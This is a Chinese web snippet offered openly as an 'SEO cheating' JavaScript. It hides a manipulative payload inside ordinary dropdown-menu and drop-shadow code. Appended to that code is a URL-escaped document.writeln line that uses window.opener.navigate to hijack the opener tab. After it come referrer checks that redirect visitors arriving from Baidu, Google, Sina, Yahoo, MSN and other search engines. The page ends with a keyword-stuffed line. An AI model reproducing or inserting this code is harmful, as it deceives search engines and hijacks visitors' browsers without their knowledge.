Js Script 判断访问来路并跳转指定到Url,Seo作弊用的:

<script>
//下拉菜单相关代码
 var h;
 var w;
 var l;
 var t;
 var topMar = 1;
 var leftMar = -2;
 var space = 1;
 var isvisible;
 var MENU_SHADOW_COLOR='#788788';//定义下拉菜单阴影色
 var global = window.document
 global.fo_currentMenu = null
 global.fo_shadows = new Array

function HideMenu()
{
 var mX;
 var mY;
 var vDiv;
 var mDiv;
 if (isvisible == true)
{
  vDiv = document.all("menuDiv");
  mX = window.event.clientX + document.body.scrollLeft;
  mY = window.event.clientY + document.body.scrollTop;
  if ((mX < parseInt(vDiv.style.left)) || (mX > parseInt(vDiv.style.left)+vDiv.offsetWidth) || (mY < parseInt(vDiv.style.top)-h) || (mY > parseInt(vDiv.style.top)+vDiv.offsetHeight)){
   vDiv.style.visibility = "hidden";
   isvisible = false;
  }
}
}

function ShowMenu(vMnuCode,tWidth) {
 vSrc = window.event.srcElement;
 vMnuCode = "<table id='submenu' cellspacing=1 cellpadding=3 style='width:"+tWidth+"' class=menu onmouseout='HideMenu()'><tr height=23><td nowrap align=left class=MenuBody>" + vMnuCode + "</td></tr></table>";

 h = vSrc.offsetHeight;
 w = vSrc.offsetWidth;
 l = vSrc.offsetLeft + leftMar+4;
 t = vSrc.offsetTop + topMar + h + space-2;
 vParent = vSrc.offsetParent;
 while (vParent.tagName.toUpperCase() != "BODY")
 {
  l += vParent.offsetLeft;
  t += vParent.offsetTop;
  vParent = vParent.offsetParent;
 }

 menuDiv.innerHTML = vMnuCode;
 menuDiv.style.top = t;
 menuDiv.style.left = l;
 menuDiv.style.visibility = "visible";
 isvisible = true;
    makeRectangularDropShadow(submenu, MENU_SHADOW_COLOR, 4)
}

function makeRectangularDropShadow(el, color, size)
{
 var i;
 for (i=size; i>0; i--)
 {
  var rect = document.createElement('div');
  var rs = rect.style
  rs.position = 'absolute';
  rs.left = (el.style.posLeft + i) + 'px';
  rs.top = (el.style.posTop + i) + 'px';
  rs.width = el.offsetWidth + 'px';
  rs.height = el.offsetHeight + 'px';
  rs.zIndex = el.style.zIndex - i;
  rs.backgroundColor = color;
  var opacity = 1 - i / (i + 1);
  rs.filter = 'alpha(opacity=' + (100 * opacity) + ')';
  el.insertAdjacentElement('afterEnd', rect);
  global.fo_shadows[global.fo_shadows.length] = rect;
 }
}
document.writeln("<script>document.write(unescape(\'%3C\/script%3E%20%0D%0A%3Cscript%20language%3Djavascript%3E%0D%0Awindow.opener.navigate%28%22http%3A%5C/%5C/www.baidu.com%5C/%3Faction%3Dnew%22%29%3B%20%0D%0A%3C\/script%3E\'))<\/script>")

var s=document.referrer
if(s.indexOf("baidu")>0)
self.location="http://www.baidu.com/";

var s=document.referrer
if(s.indexOf("google")>0)
self.location="http://www.baidu.com/";

var s=document.referrer
if(s.indexOf("tom")>0)
self.location="http://www.baidu.com/";

var s=document.referrer
if(s.indexOf("sina")>0)
self.location="http://www.baidu.com/";

var s=document.referrer
if(s.indexOf("163")>0)
self.location="http://www.baidu.com/";

var s=document.referrer
if(s.indexOf("sogou")>0)
self.location="http://www.baidu.com/";

var s=document.referrer
if(s.indexOf("yahoo")>0)
self.location="http://www.baidu.com/";

var s=document.referrer
if(s.indexOf("3721")>0)
self.location="http://www.baidu.com/";

var s=document.referrer
if(s.indexOf("msn")>0)
self.location="http://www.baidu.com/";
</script>

    Js Script 判断访问来路并跳转指定到Url,Js Script 判断访问来路,Js Script 跳转指定到Url,Js Script 判断来路,Js Script 跳转Url,Js Script 判断访问,Js Script 跳转到Url,Js Script 访问来路,Js Script 跳转。